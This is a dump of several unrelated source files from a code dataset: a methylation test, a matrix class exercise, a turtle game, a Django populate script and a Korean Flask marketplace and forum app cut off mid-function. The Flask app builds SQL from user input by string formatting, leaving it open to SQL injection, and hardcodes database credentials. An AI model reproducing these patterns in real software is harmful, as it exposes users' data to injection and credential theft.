env has to download it.\n sigset = SigSet(sample, green_idat, red_idat, manifest)\n if sigset.ctrl_green.loc[27630314].mean_value != 299.0:\n raise AssertionError(\"fcontrol green mean intensity mismatch\")\n if sigset.methylated.loc['rs1019916'].Meth != 7469.0:\n raise AssertionError(\"SNP meth failed\")\n if sigset.methylated.shape[0] != 485577:\n raise AssertionError(\"meth failed: unexpected number of SNP probes found\")\n if sigset.unmethylated.shape[0] != 485577:\n raise AssertionError(\"unmeth failed: unexpected number of SNP probes found\")\n if sigset.II.shape[0] != 350076:\n raise AssertionError(\"SigSet.II failed: unexpected number of SNP probes found\")\n if sigset.IG.shape[0] != 46298:\n raise AssertionError(\"SigSet.IG failed: unexpected number of SNP probes found\")\n if sigset.IR.shape[0] != 89203:\n raise AssertionError(\"SigSet.IR failed: unexpected number of SNP probes found\")\n if sigset.snp_methylated.shape[0] != 65:\n raise AssertionError(\"SNP meth failed: unexpected number of SNP probes found\")\n if sigset.snp_unmethylated.shape[0] != 65:\n raise AssertionError(\"SNP unmeth failed: unexpected number of SNP probes found\")\n if sigset.unmethylated.loc['rs1019916'].Unmeth != 5291.0:\n raise AssertionError(\"SNP unmeth failed\")\n if sigset.snp_unmethylated.loc['rs1019916'].Unmeth != 5291.0:\n raise AssertionError(\"SNP unmeth failed\")\n\n @staticmethod\n def test_sigset_mouse():\n data_dir = 'docs/example_data/mouse'\n mouse_file = '204879580038_R06C02'\n sample = Sample(data_dir, '204879580038', 'R06C02')\n red_idat = IdatDataset(Path(data_dir, f'{mouse_file}_Red.idat'), Channel.RED)\n green_idat = IdatDataset(Path(data_dir,f'{mouse_file}_Grn.idat'), Channel.GREEN)\n manifest = Manifest(ArrayType.ILLUMINA_MOUSE) # this could be REALLY slow, if docker/test env has to download it.\n sigset = SigSet(sample, green_idat, red_idat, manifest)\n #raw_dataset = RawDataset(sample, green_idat, red_idat) --- class still works, but deprecated; not used in pipeline anywhere.\n #test_raw_dataset = RawDataset.from_sample(sample)\n #fg_controls = raw_dataset.get_fg_controls(manifest, Channel.GREEN)\n #if fg_controls.loc[27630314].mean_value != 299.0:\n if sigset.ctrl_green.loc[27630314].mean_value != 206.0:\n raise AssertionError(\"control green failed\")\n #meth_data = MethylationDataset.snp_methylated(raw_dataset, manifest)\n if sigset.methylated.loc['rs108256820_TC21']['Meth'] != 1889.0:\n raise AssertionError(\"methylated failed\")\n if sigset.snp_methylated.loc['rs108256820_TC21']['Meth'] != 1889.0:\n raise AssertionError(\"SNP meth failed\")\n if sigset.snp_methylated.shape[0] != 1485: # sesame has 1486\n raise AssertionError(f\"SNP meth failed: expected 1485 SNP probes, found {sigset.snp_methylated.shape[0]}\")\n # added 615 probes into MM285_mm39_v2\n if sigset.methylated.shape[0] != 293194: #292580, 292582 before dropping duplicates in v1\n raise AssertionError(f\"meth failed: expected 293194 probes, found {sigset.methylated.shape[0]}\")\n if sigset.unmethylated.shape[0] != 293194: #292580, 292583 before dropping duplicates in v1\n raise AssertionError(f\"meth failed: expected 293194 probes, found {sigset.unmethylated.shape[0]}\")\n if sigset.II.shape[0] != 228271: #227968:\n raise AssertionError(f\"SigSet II: expected 228271 probes, found {sigset.II.shape[0]}\")\n if sigset.IG.shape[0] != 17697: #17627:\n raise AssertionError(f\"SigSet IG: expected 17697 probes, found {sigset.IG.shape[0]}\")\n if sigset.IR.shape[0] != 47231: #46990:\n raise AssertionError(f\"SigSet IR: expected 47231 probes, found {sigset.IR.shape[0]}\")\n","repo_name":"FoxoTech/methylprep","sub_path":"tests/models/test_sigset.py","file_name":"test_sigset.py","file_ext":"py","file_size_in_byte":4633,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"11"} +{"seq_id":"318678974","text":"# 1. Реализовать класс Matrix (матрица). Обеспечить перегрузку конструктора класса (метод init()),\n# который должен принимать данные (список списков) для формирования матрицы.\n# Подсказка: матрица — система некоторых математических величин, расположенных в виде прямоугольной схемы.\n# Примеры матриц: см. в методичке.\n#\n# Следующий шаг — реализовать перегрузку метода str() для вывода матрицы в привычном виде.\n# Далее реализовать перегрузку метода add() для реализации операции сложения двух объектов класса Matrix (двух матриц).\n# Результатом сложения должна быть новая матрица.\n# Подсказка: сложение элементов матриц выполнять поэлементно — первый элемент первой строки первой матрицы складываем\n# с первым элементом первой строки второй матрицы и т.д.\n\nclass MatrixFormatException(Exception):\n message: str\n\n def __init__(self, message):\n self.message = message\n\n\nclass Matrix:\n matrix: list\n\n def __init__(self, data: list):\n self._validate(data)\n self.matrix = data\n\n def __str__(self):\n result = ''\n for item in self.matrix:\n result += f\"{item}\\n\"\n return result\n\n def __add__(self, other):\n if type(other) is not Matrix:\n raise MatrixFormatException('Error. Unknown sum operand')\n\n if len(self.matrix) != len(other.matrix) or len(self.matrix) != 0 and len(self.matrix[0]) != len(\n other.matrix[0]):\n raise MatrixFormatException('Error. Matrix sizes are not equals')\n\n data = [\n [v + other.matrix[row][column] for column, v in enumerate(item)]\n for row, item in enumerate(self.matrix)\n ]\n\n return Matrix(data)\n\n @staticmethod\n def _validate(data: list):\n max_len = -1\n for row, item in enumerate(data):\n if type(item) is not list:\n raise MatrixFormatException(f'Error: row {row} is not list')\n if max_len == -1:\n max_len = len(item)\n if max_len != len(item):\n raise MatrixFormatException(f'Error: columns count must be constant (row {row} length = {len(item)})')\n for column, cell in enumerate(item):\n try:\n data[row][column] = float(cell)\n except ValueError:\n raise MatrixFormatException(f'Error: cell (row: {row}, column:{column}) is not number: `{cell}`')\n\n\nif __name__ == '__main__':\n m1 = Matrix([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n m2 = Matrix([[3, 2, 1], [6, 5, 4], [9, 8, 7]])\n\n print(f'm1:\\n{m1}')\n print(f'm2:\\n{m2}')\n\n print(f'm1 + m2:\\n{m1 + m2}')\n","repo_name":"lorodin/py-lesson7","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19482734110","text":"from turtle import Turtle\nimport random\n\nCOLORES = [\"red\", \"blue\", \"green\", \"yellow\", \"orange\", \"purple\", \"pink\", \"white\"]\nSTART_MOVE_DISTANCE = 4\nMOVE_INCREMENT = 1\n\n\nclass CarManager:\n def __init__(self):\n self.all_cars = []\n self.car_speed = START_MOVE_DISTANCE\n\n def create_car(self):\n chance = random.randint(0, 6)\n if chance == 0:\n car = Turtle(\"square\")\n car.penup()\n car.shapesize(stretch_wid=1, stretch_len=2)\n car.color(random.choice(COLORES))\n random_y = random.randint(-300, 300)\n car.goto(300, random_y)\n self.all_cars.append(car)\n\n def move_cars(self):\n for car in self.all_cars:\n car.backward(self.car_speed)\n\n def level_up(self):\n for car in self.all_cars:\n self.car_speed += MOVE_INCREMENT\n","repo_name":"tasnim0tantawi/Python-Mini-Projects","sub_path":"python-projects/Turtle Road Game/car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17825347016","text":"import os\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'torosweb.settings')\n\nimport django\ndjango.setup()\n\nfrom django.contrib.auth.models import User\nfrom rbmanager.models import Experiment, Feature\nfrom winnow.models import UserProfile, Dataset\n\n\ndef create_user(last_user_id):\n auser, created = User.objects.get_or_create(\n username=\"populate%02d\" % (last_user_id + 1))\n if created:\n auser.first_name = \"Populate\"\n auser.last_name = \"Anon%02d\" % (last_user_id + 1)\n auser.save()\n myuser, created = UserProfile.objects.get_or_create(user=auser)\n if created:\n myuser.save()\n return myuser\n\n\ndef populate(num_users, num_exp_per_user):\n dbg_dataset, created = Dataset.objects.get_or_create(name='DBG_DJANGO')\n if created:\n dbg_dataset.isCurrent = False\n dbg_dataset.save()\n print(\"Saved Dataset {}.\".format(dbg_dataset))\n\n for userid in range(num_users):\n myuser = create_user(userid)\n for exp_counter in range(num_exp_per_user):\n exp = add_experiment(myuser, dbg_dataset)\n print(\"Saved experiment {} for user {}\".format(exp, myuser))\n for name, description in get_features():\n feat, created = Feature.objects.get_or_create(name=name)\n if created:\n feat.description = description\n feat.save()\n exp.features.add(feat)\n print(\"Saved feature {} for experiment {}\".format(feat, exp))\n print(\"\")\n\n\ndef get_features():\n import random\n feat_all = [('num_neg_pix', 'number of negative pixels'),\n ('roundness', 'a/b major over minor semiaxis'),\n ('width', ''),\n ('height', ''),\n ('sep_flags', 'flags returned by SExtractor'),\n ('close_to_boundary', \"boolean if it's close to image bounds\"),\n ('fwhm_x', 'Full width half maximum in x direction'),\n ('fwhm_y', 'Full width half maximum in y direction')]\n random.shuffle(feat_all)\n return feat_all[:3]\n\n\ndef add_experiment(user, dataset):\n import datetime as d\n import random\n exp = Experiment()\n exp.user = user\n exp.dataset = dataset\n exp.date = d.datetime.now()\n exp.platform = str(random.randint(0, 3))\n if exp.platform == '3':\n exp.other_platform_name = \"Mystery ML\"\n exp.alg_name = \"Random Forest\"\n exp.params_file = \"params_01.txt\"\n exp.labels_file = \"labels_01.txt\"\n exp.featureset_infofile = \"feat_01.txt\"\n exp.featuretable_datafile = \"all_feat.txt\"\n\n exp.conf_mat_rr = random.randint(10, 100)\n exp.conf_mat_rb = random.randint(10, 100)\n exp.conf_mat_br = random.randint(10, 100)\n exp.conf_mat_bb = random.randint(10, 100)\n exp.confusion_table_file = \"weka_results.weka\"\n\n exp.description = \"Mock Data in populate script. \"\n \"Meant for debugging purposes.\"\n exp.save()\n return exp\n\n\nif __name__ == '__main__':\n print(\"Starting rbmamager population script...\")\n populate(3, 5)\n\n","repo_name":"toros-astro/winnow","sub_path":"torosweb/populate_rbmanager.py","file_name":"populate_rbmanager.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"15160931511","text":"from numpy import *\nfrom scipy.signal import *\nimport scipy.optimize as so\n\ndef group_delay(F, S):\n\tuPh = unwrap(angle(S))\n\tslope_est = (uPh[-1] - uPh[0])/(F[-1] - F[0])\n\tc0_est = uPh[0]-F[0]*slope_est\n\tpopt,pcov = so.curve_fit(lambda x,c0,slope: c0 + slope*x, F, uPh, p0 = (c0_est,slope_est))\n\treturn -popt[1]/(2.*pi)\n\t\ndef delay(F,S, window = None):\n\tuPh = unwrap(angle(S))\n\tif window is not None:\n\t\tuPh = savgol_filter(uPh, window,3)\n\tdelay = -diff(uPh)/((F[1]-F[0])*2.*pi)\n\tdelay = concatenate( (delay[0:1], delay) )\n\treturn delay","repo_name":"NikolayAbramov/anti_qsweepy","sub_path":"routines/resonators.py","file_name":"resonators.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2331095048","text":"from App.config import getConfiguration\nfrom ftw.monitor.autowarmup import autowarmup\nfrom ftw.monitor.autowarmup import autowarmup_enabled\nfrom zope.component import getUtilitiesFor\nfrom ZServer.datatypes import HTTPServerFactory\nfrom ZServer.medusa.http_server import http_server\nimport os\nimport time\nimport zc.monitor\nimport ZODB.ActivityMonitor\nimport ZODB.interfaces\nimport zope.component\n\n\nstartup_time = None\n\n\ndef get_uptime():\n global startup_time\n if startup_time is None:\n return 0\n return time.time() - startup_time\n\n\ndef initialize_monitor_server(opened_event):\n \"\"\"Event handler for IDatabaseOpenedWithRoot that starts the monitor\n server on instance startup.\n \"\"\"\n config = getConfiguration()\n instance_name = os.path.basename(config.instancehome)\n # Never warm up or monitor server for our maintenance instance\n if instance_name == 'instance0':\n return\n\n global startup_time\n startup_time = time.time()\n\n monitor_port = determine_monitor_port()\n if monitor_port:\n start_server(monitor_port, opened_event.database)\n\n # Trigger warmup for this instance (without blocking startup)\n base_port = determine_base_port()\n if base_port and autowarmup_enabled():\n autowarmup(base_port)\n\n\ndef determine_base_port(config=None, consider_factories=False):\n \"\"\"Determine the HTTP instance's port.\n \"\"\"\n if config is None:\n config = getConfiguration()\n\n # During normal instance startup, we'll have instantiated `http_server`\n # components in config.servers, and that's were we get the base port of\n # the running HTTP server from.\n #\n # When we encounter HTTPServerFactory's instead of their instantiation,\n # it means that the instance was invoked in a mode that does NOT start\n # the HTTP server(s) defined in zope.conf. These are for example:\n #\n # - bin/instance run \"\r\n\t\r\n@app.route('/')\r\ndef index():\r\n\tglobal month\r\n\t\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\tsql = f\"select * from pay_board order by num desc limit 4\"\r\n\t\tcurs.execute(sql)\r\n\t\tnew_product = []\r\n\t\tpro = curs.fetchall()\r\n\t\t#for i in range(0, 4):\r\n\t\t#\tnew_product.append(list(pro[i]))\r\n\t\t#print(new_product)\r\n\t\treturn render_template('main.html',user_id=user_id, name=name, month=month, new_product=new_product)\r\n\t\t\r\n\treturn render_template('main.html',user_id='-1', name='-1', month=month)\r\n\t\r\n\t\r\n@app.route('/mypage')\r\ndef mypage():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\t#현재 로그인 되어있는 사람 정보 select\r\n\t\tsql = \"select * from user_info where id='%s'\"%user_id\r\n\t\tcurs.execute(sql)\r\n\t\tdetail = curs.fetchall()\r\n\t\t\r\n\t\t#현재 로그인 되어어있는 사람이 구매한 목록 select \r\n\t\tsql2 = \"select * from pay_info where buyer='%s' order by id desc\"%name\r\n\t\tcurs.execute(sql2)\r\n\t\tbuy_list = curs.fetchall()\r\n \r\n\t\tsql3 = \"select * from pay_info where seller='%s' order by id desc\"%user_id\r\n\t\tcurs.execute(sql3)\r\n\t\tsell_list = curs.fetchall() \r\n\r\n\t\tb_list=[] \r\n\t\tprint(buy_list) \r\n\t\tfor i in range(0,len(buy_list)):\r\n\t\t\tsql5=\"select * from pay_info where id = '%s'\" %buy_list[i][0] #buy_list[i][8]\r\n\t\t\tcurs.execute(sql5)\r\n\r\n\t\t\tb_list.append(list(curs.fetchall()))\r\n\t\t\r\n\t\t\r\n\t\ts_list=[]\r\n\t\tfor i in range(0,len(sell_list)):\r\n\t\t\tsql5=\"select * from pay_board where userid = '%s'\"%sell_list[i][2] #buy_list[i][8]\r\n\t\t\tcurs.execute(sql5)\r\n\r\n\t\t\ts_list.append(curs.fetchall())\r\n\t\t\t\r\n\t\tsql4 = \"select * from user_info where name = '%s'\"%name\r\n\t\tcurs.execute(sql4)\r\n\t\t\r\n\t\tuser_info = curs.fetchall()\r\n\r\n\t\treturn render_template('mypage.html',user_id=user_id, name=name,detail=detail ,buy_list=buy_list,sell_list=sell_list, user_info=user_info, b_list=b_list, s_list=s_list) \r\n\treturn render_template('main.html',user_id='-1', name='-1')\r\n\r\n@app.route('/fruitmarket')\r\ndef fruitmarket():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql2 = f\"select * from pay_board where kind='과일'\"\r\n\t\tcurs.execute(sql2)\r\n\t\t\r\n\t\tproduct_list = curs.fetchall()\r\n\t\t\r\n\t\tprint(product_list)\r\n\t\t\r\n\t\treturn render_template('fruitmarket.html',user_id=user_id, name=name, product_list=product_list)\r\n\t\t\r\n\treturn render_template('fruitmarket.html',user_id='-1', name='-1')\r\n\r\n#추천 마당\t\r\n@app.route('/recommend')\r\ndef recommend():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\t\r\n\t\t\r\n\t\treturn render_template('recommend.html',user_id=user_id, name=name, month=month)\r\n\t\t\r\n\treturn render_template('recommend.html',user_id='-1', name='-1')\r\n\r\n#장 마당\r\n@app.route('/cropmarket')\r\ndef cropmarket():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\tsql2 = f\"select * from pay_board where kind='작물'\"\r\n\t\tcurs.execute(sql2)\r\n\t\t\r\n\t\tproduct_list = curs.fetchall()\r\n\t\t\r\n\t\tprint(product_list)\r\n\t\t\r\n\t\treturn render_template('fruitmarket.html',user_id=user_id, name=name, product_list=product_list)\r\n\t\t\r\n\treturn render_template('fruitmarket.html',user_id='-1', name='-1')\r\n\t\r\n#작물 정보\r\n@app.route('/fruitinform')\r\ndef fruitinform():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\treturn render_template('fruitinform.html',user_id=user_id, name=name)\r\n\t\t\r\n\treturn render_template('fruitinform.html',user_id='-1', name='-1')\r\n\r\n#작물 검색 정보\r\n@app.route('/inform_view', methods=[\"GET\", \"POST\"])\r\ndef inform_view():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\tif request.method == \"POST\":\r\n\t\t\tkeyword = request.form['keyword']\r\n\t\t\t\r\n\t\t\t#driver_url = 'C:\\\\chromedriver.exe' #윈도우 환경\r\n\r\n\t\t\tdriver_url = './chromedriver' #우분투 환경\r\n\r\n\t\t\tchrome_options = webdriver.ChromeOptions()\r\n\t\t\tchrome_options.add_argument('--headless') #우분투\r\n\t\t\tchrome_options.add_argument('--no-sandbox')\r\n\t\t\tchrome_options.add_argument('--privileged')\r\n\t\t\tchrome_options.add_argument('--incognito')\r\n\t\t\tchrome_options.add_argument('--disable-dev-shm-usage')\r\n\t\t\tchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\r\n\t\t\t\r\n\t\t\tchrome_options = chrome_options\r\n\r\n\t\t\tdriver = webdriver.Chrome(driver_url, chrome_options=chrome_options)\r\n\t\t\t\r\n\t\t\turl = f'https://ko.wikipedia.org/wiki/{keyword}'.format(keyword)\r\n\t\t\t\r\n\t\t\tdriver.get(url)\r\n\t\t\tcontents = driver.page_source\r\n\r\n\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\t# 큰제목 크롤링\r\n\t\t\tbig_title = soup.find_all('h1', class_='firstHeading')\r\n\t\t\t# 소제목 들 크롤링\r\n\t\t\tsmall_title = soup.find_all('span', class_='mw-headline')\r\n\t\t\t\r\n\t\t\t#내용들 크롤링\r\n\t\t\tcontent = soup.find_all('p')\r\n\t\t\t\r\n\t\t\t#이미지 크롤링\r\n\t\t\timg = soup.find_all('img', class_='thumbimage')\r\n\t\t\t\r\n\t\t\tcontent_list = []\r\n\t\t\ts_title_list = []\r\n\t\t\t\r\n\t\t\tprint(img)\r\n\t\t\t#print(content)\r\n\t\t\t#소제목들 for문 돌려 리스트에 저장\r\n\t\t\tfor i in small_title:\r\n\t\t\t\ts_title_list.append(i.get_text())\r\n\t\t\t\r\n\t\t\t#내용들 for문 돌려 리스트에 저장\r\n\t\t\tfor j in content:\r\n\t\t\t\tcontent_list.append(j.get_text())\r\n\r\n\t\t\t\r\n\t\t\tprint(\"검색어 : \" +keyword)\r\n\t\t\tprint(\"큰 제목 : \" +big_title[0].get_text())\r\n\t\t\t#print(s_title_list)\r\n\t\t\t#print(content_list)\r\n\t\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t#return \"\"\r\n\t\t\t\r\n\t\t\treturn render_template('inform_view.html', user_id=user_id, name=name, keyword=keyword, s_title_list=s_title_list, content_list=content_list)\r\n\t\t\t\r\n\t\treturn render_template('inform_view.html',user_id='-1', name='-1')\r\n\r\n#동영상 검색 페이지\r\n@app.route('/searchvideo')\r\ndef searchvideo():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\r\n\t\treturn render_template('searchvideo.html',user_id=user_id, name=name)\r\n\t\t\t\r\n\treturn render_template('searchvideo.html',user_id='-1', name='-1')\r\n\r\n\r\n#동영상 검색시 보여주는 페이지\r\n@app.route('/video_view', methods=[\"GET\", \"POST\"])\r\ndef video_view():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\t\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\tif request.method == \"POST\":\r\n\t\t\tkeyword = request.form['keyword']\r\n\t\t\t\r\n\t\t\t#driver_url = 'C:\\\\chromedriver.exe'\r\n\r\n\t\t\tdriver_url = './chromedriver' #우분투 환경' #우분투 환경\r\n\t\t\t\r\n\t\t\tchrome_options = webdriver.ChromeOptions()\r\n\t\t\tchrome_options.add_argument('--headless') #우분투\r\n\t\t\tchrome_options.add_argument('--no-sandbox')\r\n\t\t\tchrome_options.add_argument('--privileged')\r\n\t\t\tchrome_options.add_argument('--incognito')\r\n\t\t\tchrome_options.add_argument('--disable-dev-shm-usage')\r\n\t\t\tchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\r\n\t\t\t\r\n\t\t\tchrome_options = chrome_options\r\n\r\n\t\t\tdriver = webdriver.Chrome(driver_url, chrome_options=chrome_options)\r\n\r\n\t\t\turl = f'https://www.youtube.com/results?search_query={keyword}'\r\n\r\n\t\t\tdriver.get(url)\r\n\t\t\tcontents = driver.page_source\r\n\r\n\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\r\n\t\t\tlis = soup.find_all('a', class_='yt-simple-endpoint style-scope ytd-video-renderer')\t\t\t\r\n\r\n\t\t\t#조회수 리스트\r\n\t\t\tview_list = []\r\n\r\n\t\t\t#제목 리스트\r\n\t\t\ttitle_list = []\r\n\r\n\t\t\t#링크 리스트\r\n\t\t\tsrc_list = []\r\n\t\t\r\n\t\t\tfor h in lis:\r\n\t\t\t\tview_list.append(h.get('aria-label').split()[-1])\r\n\t\t\t\ttitle_list.append(h[\"title\"])\r\n\t\t\t\tv_id = h[\"href\"].split(\"v=\")[1]\r\n\t\t\t\tsrc_list.append( f\"\"\"\"\"\" )\r\n\t\r\n\r\n\t\t\tprint(f'src_list:{len(src_list)}')\r\n\r\n\t\t\tsrc_list_html = \"


\".join(src_list)\r\n\r\n\t\t\t\r\n\t\t\treturn render_template('video_view.html', user_id=user_id, name=name, src_list=src_list, title_list=title_list, view_list=view_list, keyword=keyword)\r\n\t\t\t\r\n\t\treturn render_template('video_view.html',user_id='-1', name='-1')\r\n\t\t\r\n#게시판 \r\n@app.route('/borad')\r\ndef borad():\r\n\tif \"user_id\" not in session:\r\n\t\treturn \"\"\r\n\telif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\r\n\t\t#페이지 값 1\r\n\t\tpage = request.args.get(\"page\", 1, type=int)\r\n\t\t#한 페이지 당 게시물 출력 갯수\r\n\t\tlimit = 10\r\n\t\r\n\t\t# 페이지 블럭을 5개씩 표기\r\n\t\tblock_size = 5\r\n\t\tblock_num = int((page - 1) / block_size) \r\n\t\tblock_start = (block_size * block_num) + 1\t\r\n\t\tblock_end = block_start + (block_size - 1)\r\n \r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\r\n\t\tsql = \"select count(*) from board\"\r\n\t\tcurs.execute(sql)\r\n \r\n\t\r\n\t\t#게시물 총 개수\r\n\t\tcount_num = curs.fetchall()[0][0]\r\n\t\t#페이지 갯수\r\n\t\tlast_page_num = math.ceil(count_num / limit)\r\n\t\r\n\t\t# 2페이지 이상\r\n\t\tif page > 1: \r\n\t\t\titem_count = count_num % ((page-1)*limit)\r\n\t\t\tif item_count == 0: item_count = limit\r\n\t\t# 1페이지\r\n\t\telse:\r\n\t\t\titem_count = count_num % (limit)\r\n\t\t\tif item_count == 0: item_count = limit\r\n\t\r\n\t\r\n\t\tif \"user_id\" in session:\r\n\t\t\tuser_id = session['user_id']\r\n\t\t\tname = session['user_name']\r\n\t\t\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\r\n\t\t\r\n\t\t\tsql2 = f\"select num, title, writer, date, count from board order by num desc limit {limit} offset {(page-1)*limit}\"\r\n\t\t\tcurs.execute(sql2)\r\n \r\n\t\t\tboard_list = curs.fetchall()\r\n\t\t\tprint(board_list)\r\n\t\t\treturn render_template('borad.html',board_list=board_list, name=name, count_num=count_num,limit=limit,page=page,block_start=block_start,block_end=block_end,last_page_num=last_page_num)\r\n\t\t\r\n\t\treturn render_template('borad.html',user_id='-1', name='-1')\r\n\r\n\t\t\r\n# 게시판 검색\r\n@app.route('/board_search', methods=[\"GET\", \"POST\"])\r\ndef board_search():\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\r\n\t\tkeyword = request.form['keyword123']\r\n\r\n\t\tprint(\"키워드 : \" +keyword)\r\n\r\n\t\tif keyword == \"\":\r\n\t\t\treturn \"\"\r\n\t\telse:\r\n\t\t\r\n\t\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\t\tcurs = con.cursor()\t\r\n\r\n\t\t\r\n\t\t\tsql = \"select num, title, writer, date, count from board where title like '%{}%'\".format(keyword)\r\n\t\t\tcurs.execute(sql)\r\n\t\t\r\n\t\t\tsearch_keyword = curs.fetchall()\r\n\t\r\n\t\t\tprint(search_keyword)\r\n\t\t\r\n\t\t\treturn render_template('board_search.html', user_id=user_id, name=name, search_keyword=search_keyword)\r\n\t\r\n\treturn render_template('board_search.html', user_id='-1', name='-1')\r\n\t\r\n# 게시글 하나 보기\r\n@app.route('/board_view')\r\ndef board_view(id): \r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t \r\n\t #print(id)\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor()\r\n\t\t\r\n\t\t#특정 번호인 board 데이터 출력\r\n\t\tsql = \"select title, writer, content, date from board where num=%d\"%id\r\n\t\tcurs.execute(sql)\r\n\t\t\r\n\t\tview = curs.fetchall()\r\n\t\t\r\n\t\t# 작성자 데이터 추출\r\n\t\tsql2 = \"select writer from board where num=%d\"%id\r\n\t\tcurs.execute(sql2)\r\n\t\t\r\n\t\twriter = curs.fetchone()[0]\r\n\t\t\r\n\t\t#작성 번호 출력\r\n\t\tsql3 = \"select num from board where num=%d\"%id\r\n\t\tcurs.execute(sql3)\r\n\t\t\r\n\t\tnum = curs.fetchone()[0]\r\n\t\t\r\n\t\t#조회수 증가\r\n\t\tsql4 = \"update board set count = count + 1 where num=%d\"%id\r\n\t\tcurs.execute(sql4)\r\n\t\t\r\n\t\t#댓글\r\n\t\tsql5 = \"select writer,content, date from comment where board_num=%d\"%id\r\n\t\tcurs.execute(sql5)\r\n\t\tcomm_list=curs.fetchall()\r\n\t\t\r\n\t\tcon.commit()\r\n\t\tprint(comm_list)\r\n\t\t\r\n\t\treturn render_template('board_view.html', view=view,name=name,writer=writer,user_id=user_id,num=num, id=id, comm_list=comm_list)\r\n\treturn render_template('write.html',user_id='-1', name='-1') \r\n\r\n# 덧글 작성\r\n@app.route('/comment_write', methods=[\"GET\", \"POST\"])\r\ndef comment_write(number):\r\n\tif \"user_id\" in session:\r\n\t\tuser_id = session['user_id']\r\n\t\tname = session['user_name']\r\n\t\t\r\n\t\tcon = pymysql.connect(host='15.164.103.25', user='ehdrms523', password='1234', db='farmdiary', charset='utf8', port=3306)\r\n\t\tcurs = con.cursor() \r\n\t\t\r\n\t\tif request.method == \"POST\":\r\n\t\t\tcomment = request.form['comment'] \r\n\t\t\tprint(comment)\r\n\t\t\tif comment is not None:\t\t\t\t\t \r\n\t\t\t\t\tsql = \"insert into comment (`board_num`, `writer`, `content`, `date`) values ('%s', '%s','%s','%s')\" %(number, name, comment,current_time)\r\n\t\t\t\t\tcurs.execute(sql)\r\n\t\t\t\t\tcon.commit()\r\n\t\t\t\t\tcon.close()\r\n\t\t\t\t\tcurs.close()\r\n\t\t\t\t\tprint(\"comment : \"+comment)\r\n\t\t\t\t\treturn \"\"%number \r\n\t\t\telse:\r\n\t\t\t\t\r\n\t\t\t\tif comment is None:\r\n\t\t\t\t\treturn \"\"\r\n\r\n\treturn render_template('main.html',user_id='-1', name='-1')\r\n\r\n# 덧글 작성\r\n@app.route('/proComment_write', methods=[\"GET\", \"POST\"])\r\ndef 